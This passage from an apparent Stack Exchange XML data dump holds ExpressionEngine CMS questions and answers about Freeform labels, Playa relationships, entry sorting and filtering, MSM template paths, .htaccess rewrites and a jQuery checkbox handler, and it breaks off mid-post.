  <row Id="13975" PostTypeId="2" ParentId="13956" CreationDate="2013-09-22T17:13:17.020" Score="2" Body="&lt;p&gt;You were close, it's {form_label}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you create a form, it says &quot;Form Label: This is the full name of the Form.&quot; When you add &quot;Title&quot; in composer, this gets outputted as nonfield_title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use {form_label} in notification's Subject as well as Email message. You could even make &quot;{form_label} - {name}&quot; the subject, assuming you have a name field.&lt;/p&gt;&#xA;" OwnerUserId="316" LastActivityDate="2013-09-22T17:13:17.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13976" PostTypeId="2" ParentId="13126" CreationDate="2013-09-22T17:28:22.427" Score="2" Body="&lt;p&gt;Just to confirm: in your entry you select a form (Freeform fieldtype) that is then displayed in your template, and you want to pass some parameters to it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can just add these parameters to your field. Say your field is &quot;event_form&quot; and you want to pass inline errors and form class to it: {event_form inline_errors=&quot;yes&quot; form:class=&quot;registration_form&quot;}&lt;/p&gt;&#xA;" OwnerUserId="316" LastActivityDate="2013-09-22T17:28:22.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13977" PostTypeId="2" ParentId="12512" CreationDate="2013-09-22T17:40:32.120" Score="1" Body="&lt;p&gt;What I always do is use an extra segment for forms that have been submitted, but have &lt;a href=&quot;http://devot-ee.com/add-ons/freebie&quot; rel=&quot;nofollow&quot;&gt;Freebie&lt;/a&gt; ignore it. This way EE completely ignores the extra segment by default, but you have the control over things in your templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in Freebie set &quot;thanks&quot; an ignored segment and then in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if freebie_last == &quot;thanks&quot;}&#xA;    Thank you message/variable/entry field&#xA;{if:else}&#xA;    {exp:freeform:form return=&quot;wherever/you-are/thanks&quot;}&#xA;    {/exp:freeform:form}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you use Structure you could have return=&quot;{structure:page:url}thanks&quot; (or I assume in Pages return=&quot;{page_url}thanks&quot;). This combined with the power of freebie_last means the same code will work despite of its location.&lt;/p&gt;&#xA;" OwnerUserId="316" LastActivityDate="2013-09-22T17:40:32.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13978" PostTypeId="1" CreationDate="2013-09-22T19:18:31.807" Score="2" ViewCount="350" Body="&lt;p&gt;Has anyone tried to implement basic membership system within the Core version of Expressionengine. Basicly, I need login / logout functions to be executed within the frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand Solspace User provides such functionality for EE Core users, but, is it possible to implement such features without paying for EE license / buying expensive addons (such as Solspace Member).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2090" LastActivityDate="2016-03-02T08:37:58.913" Title="Members on EE Core" Tags="|members|core|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13979" PostTypeId="1" AcceptedAnswerId="13981" CreationDate="2013-09-22T20:01:17.040" Score="0" ViewCount="182" Body="&lt;p&gt;I have a Zoo Visitor (ZV) channel with different member groups (teachers, students). Within the channel, I have a playa field pulling in the ZV teacher entries. When students register they’ll select one teacher via the playa field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the individual teacher pages, I need to show all of the students who’ve selected that specific teacher. So, I'd need to pull all of the student entries that share the current logged in teacher member. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this be done with the coparents module? If not, what's the correct playa module to be used with zoo visitor?&lt;/p&gt;&#xA;" OwnerUserId="1387" LastActivityDate="2013-09-23T01:49:52.653" Title="Zoo Visitor with playa and shared entries" Tags="|playa|zoo-visitor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13980" PostTypeId="2" ParentId="13974" CreationDate="2013-09-22T21:33:23.997" Score="1" Body="&lt;p&gt;Marc, we have/had been experiencing a similar issue. We first noticed after installing Memberr. On the hour, but not every hour during the day, we'd get a hang/freeze for 1-2 minutes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So at 10:00 am any request to our ee site at two different office locations or any pc would simply stop/poll/loop call it what you want. Then at 10:02 am all requests simultaneous complete on all devices in both loctions. It got so bad, that if youd saved a template on one of the hours that it would poll ( yes there was a pattern) you cold go and get a coffee and be back before starting work again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thinking it was Memberr (because we noticed it first started after installing), we removed it and all cron jobs. We also suspected it was something to do with editing templates via cp. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue has now almost completely disappeared. We are on a shared server (and this could also be the cause). We still kept a log of incidents and have spoken to our host. &lt;/p&gt;&#xA;" OwnerUserId="951" LastActivityDate="2013-09-22T21:33:23.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13981" PostTypeId="2" ParentId="13979" CreationDate="2013-09-23T01:49:52.653" Score="0" Body="&lt;p&gt;Have you looked at this thread? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sounds like you need to do a reverse-relationship lookup with the exp:playa:parents tag:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/2481/getting-reverse-related-entries-via-playa&quot;&gt;Getting reverse related entries via Playa&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-09-23T01:49:52.653" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13982" PostTypeId="2" ParentId="13978" CreationDate="2013-09-23T03:20:51.017" Score="3" Body="&lt;p&gt;There aren't any add-ons that I know of that would add front-end member functionality to the Core version of ExpressionEngine. Solspace User, as well as Zoo Visitor and Profile:Edit all build on top of EE's existing member module, and therefore don't work on EE Core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have to ask though, what kind of project are you working on where EE's price tag makes it  too expensive? With the amount of work EE saves in building custom functionality, I've never come across a project where the price of EE would eclipse that of adding on to something free.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-09-23T03:20:51.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13983" PostTypeId="1" CreationDate="2013-09-23T05:35:32.510" Score="6" ViewCount="132" Body="&lt;p&gt;I have several articles that contain &quot;[I]&quot; as part of a quote. EE sees this as BBcode and renders the entire remainder of the entry as italic text (because there is no corresponding closing tag).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only other mention of this issue I can find is in an &lt;a href=&quot;http://ellislab.com/forums/viewthread/183587/&quot;&gt;archived EL forum thread from several years ago&lt;/a&gt;, which suggests there is no way to change this default behavior... Is there still no way to disable BBCode parsing?&lt;/p&gt;&#xA;" OwnerUserId="262" LastEditorUserId="7705" LastEditDate="2018-07-29T16:13:17.353" LastActivityDate="2018-07-29T16:13:17.353" Title="Is there a way to disable BBCode parsing in Channel Entries?" Tags="|parsing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13984" PostTypeId="1" AcceptedAnswerId="13990" CreationDate="2013-09-23T06:54:29.797" Score="1" ViewCount="574" Body="&lt;p&gt;we want to sort article entries by alphabetically in expressionengine so please guide me how to display entries by alphabetically.&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2091" LastEditorUserId="197" LastEditDate="2013-09-27T04:31:46.590" LastActivityDate="2013-09-27T04:31:46.590" Title="How to display article alphabetically in expression engine?" Tags="|ee2|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13985" PostTypeId="1" CreationDate="2013-09-23T07:03:41.583" Score="1" ViewCount="39" Body="&lt;p&gt;I have some article in expression engine now i want to display article filter by age range like (1-10 ,10-20 etc..) and cost wise like(low,medium,high) so please guide me how i can do filtration of article...&#xA;thank you.&lt;/p&gt;&#xA;" OwnerUserId="2091" LastActivityDate="2013-09-23T09:21:58.703" Title="How i can display article filter by age in expressionengine?" Tags="|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13986" PostTypeId="1" CreationDate="2013-09-23T07:19:42.837" Score="6" ViewCount="323" Body="&lt;p&gt;I'm using a Grid field (ee2.7) for a FAQ channel. The Grid has 2 column and both are Searchable.&#xA;How can I display in a Searchresult the row where the term is found. Right now it display the first row of mijn Grid field and not the one where the term is found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Francois&lt;/p&gt;&#xA;" OwnerUserId="482" LastActivityDate="2017-05-18T16:29:44.747" Title="Grid and Search Results" Tags="|search|grid|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13987" PostTypeId="2" ParentId="13901" CreationDate="2013-09-23T08:24:54.650" Score="1" Body="&lt;p&gt;Jae,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;judging by your comment on the question it might be the Session settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets makes a lot of Ajax requests and due to the nature of EE, they can only be made via frontend, so User session is used there to determine the access privileges, and when making those requests, Assets could not determine that the user was a valid CP user, so it denied every request as a security precaution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you try changing Administration / Security and Session Preferences settings to Admin: Session And Cookies; User: Cookies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should resolve your issue.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-09-23T08:24:54.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13988" PostTypeId="2" ParentId="13984" CreationDate="2013-09-23T09:19:35.223" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;http://gotolow.com/addons/low-alphabet/docs&quot; rel=&quot;nofollow&quot;&gt;Low Alphabet&lt;/a&gt; for it.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-09-23T09:19:35.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13989" PostTypeId="2" ParentId="13985" CreationDate="2013-09-23T09:21:58.703" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;http://gotolow.com/addons/low-search/docs&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt; module for such type filtration. See this the reference from here: &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#form-tag-ranges&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-search/docs/tags#form-tag-ranges&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-09-23T09:21:58.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13990" PostTypeId="2" ParentId="13984" CreationDate="2013-09-23T10:14:42.050" Score="4" Body="&lt;p&gt;If all you want is to sort the entries, not to filter them by their initials, use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#orderby&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;orderby=&quot;title&quot;&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#sort&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;sort&lt;/code&gt;&lt;/a&gt; parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; limit=&quot;10&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA;    [...}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-09-23T10:14:42.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13991" PostTypeId="1" CreationDate="2013-09-23T10:48:14.653" Score="1" ViewCount="88" Body="&lt;p&gt;I am displaying age range by using following code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;article&quot; search:age=&quot;1-20|21-40|41-60|61-80|81-100&quot; limit=&quot;3&quot; dynamic=&quot;off&quot; sort=&quot;desc&quot;}&#xA;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{age}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so according to above code i am getting following result&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#&quot;&amp;gt;41-60&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;#&quot;&amp;gt;1-20&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;#&quot;&amp;gt;21-40&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now i want to get all article of age range =&quot;41-60&quot; as result when i click on range 41-60 how can i get this result ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am useing following sturcture for article entry &#xA;&lt;img src=&quot;https://i.stack.imgur.com/xcWTh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2091" LastEditorUserId="55" LastEditDate="2013-09-25T18:26:32.190" LastActivityDate="2013-09-25T18:26:32.190" Title="How i can display article filter by age in ee2?" Tags="|ee2|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13992" PostTypeId="2" ParentId="13991" CreationDate="2013-09-23T11:08:05.120" Score="1" Body="&lt;p&gt;I'm not sure I fully understand your question (you might want to try to clarify it a little).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;article&quot; search:age=&quot;41-60&quot; limit=&quot;3&quot; dynamic=&quot;off&quot; sort=&quot;desc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need to pass the search parameter dynamically then you could use URL segments. So your url might be something like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/articles/age/41-60&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/articles/age/41-60&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then your channel entries tags would be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;article&quot; search:age=&quot;{segment_3}&quot; limit=&quot;3&quot; dynamic=&quot;off&quot; sort=&quot;desc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You &lt;em&gt;might&lt;/em&gt; even be able to do something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;article&quot; search:{segment_2}=&quot;{segment_3}&quot; limit=&quot;3&quot; dynamic=&quot;off&quot; sort=&quot;desc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might also want to look at using a search add-on such as Super Search or Low Search as they will allow you to search on ranges rather than fixed strings. (I think EE2.7 may allow you to search ranges also).&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-09-23T11:08:05.120" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13993" PostTypeId="2" ParentId="11510" CreationDate="2013-09-23T11:56:29.203" Score="1" Body="&lt;p&gt;Usually this happens when a large image has been uploaded and ngen_file_field attempts to resize it and promptly runs out of memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be a particular problem with high DPI images - 300DPi print images are usually a culprit or simply very large over-sized images 2000+ pixels wide for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at recent images uploaded via FTP and see if you can spot any large images, download them and scale them appropriately before re-uploading them and it should clear the issue.&lt;/p&gt;&#xA;" OwnerUserId="463" LastActivityDate="2013-09-23T11:56:29.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13994" PostTypeId="1" CreationDate="2013-09-23T13:03:14.400" Score="0" ViewCount="383" Body="&lt;p&gt;Is it possible to set the template location (when using template files) to refer to a location outside of the system folder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, imagine we have two sites with a shared root, site A and site B:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/public_html/site_a/&#xA;/public_html/site_b/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the primary/default site is site A is it possible to have the templates for site b situated within the site B folder, rather than within the default system folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cole&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2013-09-23T18:25:38.040" Title="Relocating MSM templates" Tags="|templates|multi-site-manager|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13995" PostTypeId="2" ParentId="13994" CreationDate="2013-09-23T13:30:17.937" Score="1" Body="&lt;p&gt;Yes its possible. If you set the Save Templates as Files as Yes under Global Template Preferences, you can see the templates are being saved as file within &quot;system/expressionengine/templates/&quot; [default EE setting] like:&#xA;[site_short_name]/[template_group_name].group/templates&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for your purpose, the &quot;Server path to site's templates&quot; to be provided as &quot;/public_html/&quot; and just created 2 another directories named with sites short name. Although, it would be done by EE itself. You need to only update &quot;Server path to site's templates&quot; under &quot;Global Template Preferences&quot;.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-09-23T13:30:17.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13996" PostTypeId="1" CreationDate="2013-09-23T14:40:00.757" Score="1" ViewCount="180" Body="&lt;p&gt;I'm using the calendar:cal tag to display a list of upcoming events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having an issue where the first occurrence date displays as the next event date, rather than the next occurrence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I code it so the event date is the next occurrence rather than the first event date?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal date_range_start=&quot;today @ midnight&quot; show_years=&quot;1&quot; pad_short_weeks=&quot;n&quot; event_limit=&quot;10&quot; status=&quot;Open|Featured&quot;}&#xA;&#xA;    {if no_results}&#xA;        &amp;lt;p&amp;gt;There are no upcoming Events.&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;div class=&quot;event&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;date&quot;&amp;gt;&#xA;            &amp;lt;span class=&quot;day&quot;&amp;gt;{event_first_date format=&quot;%j&quot;}&amp;lt;/span&amp;gt;&#xA;            &amp;lt;span class=&quot;month&quot;&amp;gt;{event_first_date format=&quot;%M&quot;}&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;summary&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{path=&quot;events/view/{categories}{category_url_title}{/categories}/{url_title}&quot;}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1310" LastEditorUserId="884" LastEditDate="2013-09-24T20:51:50.257" LastActivityDate="2013-09-24T20:51:50.257" Title="Occurrences display in Solspace Calendar" Tags="|solspace|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13997" PostTypeId="1" AcceptedAnswerId="14000" CreationDate="2013-09-23T15:02:39.167" Score="0" ViewCount="1242" Body="&lt;p&gt;I am trying to use the recommended htaccess file to remove the index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but when I clear the Name of your site's index page in admin prefs the css will not load but everything else will on the templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my css:  &lt;code&gt;&amp;lt;link href=&quot;{stylesheet=global_embeds/site_css}&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; media=&quot;screen&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;viewing source it appears fine: &lt;code&gt;&amp;lt;link href=&quot;http://domain.com/?css=global_embeds/site_css.v.1379946470&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; media=&quot;screen&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;        RewriteEngine On&#xA;&#xA;        # Removes index.php from ExpressionEngine URLs&#xA;        RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xA;        RewriteCond %{REQUEST_FILENAME} !-d&#xA;        RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;CSS is a css template in EE&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="451" LastEditDate="2013-09-23T15:55:53.867" LastActivityDate="2013-09-23T16:03:22.157" Title="removing index.php causes css to break" Tags="|htaccess|css|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13999" PostTypeId="2" ParentId="13994" CreationDate="2013-09-23T15:51:04.750" Score="2" Body="&lt;p&gt;In addition to @Bhashkar's answer you can also set in your config file (/system/expressionengine/config/config.php):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$config['tmpl_file_basepath'] =&#xA;  &quot;/home/account/public_html/templates/&quot;;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But I'd highly recommend placing above web root to maximise security:&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/installation/best_practices.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/installation/best_practices.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically this could be your setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(/home/account being your server account root)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/home/account/public_html&lt;/li&gt;&#xA;&lt;li&gt;/home/account/system&lt;/li&gt;&#xA;&lt;li&gt;/home/account/add-ons&lt;/li&gt;&#xA;&lt;li&gt;/home/account/templates&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Whereas a non-MSM site would utilise &quot;default_site&quot; folder off of the templates folder, for a MSM enabled site, each site name (short name) would appear as folders inside the templates folder. As mentioned in the EE link above, you have to modify your index.php and admin.php to utilise the above web root path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;system&quot; folder would be the EE system folder (without the templates or third_party folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;add-ons&quot; being your third_party folders (modules/extensions/plugins)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$config['third_party_path'] = '/home/account/add-ons/';&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'd also suggest you avoid an MSM setup where you have one site within another, e.g.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/home/account/public_html/domain2&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...which can lead to issues with rewrites and www.domain1.com/domain2 urls accessible. A neater more secure setup would be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/home/account/public_html&lt;/li&gt;&#xA;&lt;li&gt;/home/account/domain2/public_html&lt;/li&gt;&#xA;&lt;li&gt;/home/account/domain3/public_html&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/home/account/public_html&lt;/li&gt;&#xA;&lt;li&gt;/home/account/domains/domain2/public_html&lt;/li&gt;&#xA;&lt;li&gt;/home/account/domains/domain3/public_html&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Apologies expanded from your original question...!&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-09-23T15:51:04.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14000" PostTypeId="2" ParentId="13997" CreationDate="2013-09-23T16:03:22.157" Score="2" Body="&lt;p&gt;Try this in your .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{QUERY_STRING} ^(css=.*)$ [NC]&#xA;RewriteCond %{QUERY_STRING} !^(ACT=.*)$ [NC]&#xA;RewriteRule ^(.*)$ /index.php?/%1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before your main index rewrite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if it's a physical file, ensure you have this in your htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before the index rewrite rule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your htaccess may look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{QUERY_STRING} ^(css=.*)$ [NC]&#xA;RewriteRule ^(.*)$ /index.php?/%1 [L]&#xA;RewriteCond $1 !^(images|admin|themes|robots\.txt|index\.php) [NC]&#xA;RewriteCond %{QUERY_STRING} !^(ACT=.*)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm guessing your CSS is a template in &quot;global_embeds&quot; template group...? If so, keep it simple and change your html code as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;/global_embeds/site_css&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; media=&quot;screen&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-09-23T16:03:22.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14001" PostTypeId="1" AcceptedAnswerId="14002" CreationDate="2013-09-23T16:12:27.980" Score="2" ViewCount="312" Body="&lt;p&gt;How must I populate a playa hidden input field (in a safecracker form) with multiple entries? I tried passing the entry IDs separated by comma, semicolon, bar, but nothing seems to work. Only the first entry in the array gets saved. How do I have to format the entry IDs for multiple relationships to be saved? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Thanks to Jeremy I now know how to add data to Playa correctly. Alas, it's still not working, now I get PHP errors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have (inside a safecracker form):&#xA;    &#xA;    {exp:channel:entries channel=&quot;channel-name&quot; category=&quot;{category_id}&quot; dynamic=&quot;no&quot; disable=&quot;member_data|pagination&quot;}&#xA;                                    &lt;li&gt;&#xA;                                         {title}{if {embed:parent_id} == '{exp:playa:parent_ids}' }&#xA;                                        {if:else}&#xA;                                        {/if}&#xA;                                    &lt;/li&gt;&#xA;    {/exp:channel:entries}&#xA;    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I make a list with checkboxes. The conditionals check whether this entry is related to the entry currently being edited. So when it's related &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input class=&quot;relate&quot; type=&quot;hidden&quot; name=&quot;playa_field[selections][]&quot; value=&quot;{entry_id}&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;gets displayed, when it's not related &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input class=&quot;relate&quot; type=&quot;hidden&quot; name=&quot;0&quot; value=&quot;{entry_id}&quot;/&amp;gt;{/if}&amp;lt;/label&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;gets displayed. This works fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the footer I load jQuery and this code to look for changes on checkboxes. When a checkbox is changed the &quot;name&quot; attribute gets updated. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $(document).ready(function() {&#xA;        var $checkboxes = jQuery(&quot;#tag_list&quot;).find(&quot;:checkbox&quot;);&#xA;        $checkboxes.on('change', function () {&#xA;            var $relate = jQuery(this).siblings('.relate').attr(&quot;name&quot;),&#xA;            $name = &quot;playa_field[selections][]&quot;;&#xA;            if ($relate == $name) {&#xA;                jQuery(this).siblings('.relate').attr( &quot;name&quot;, &quot;0&quot; );&#xA;            }&#xA;            if ($relate != $name) {&#xA;                jQuery(this).siblings('.relate').attr( 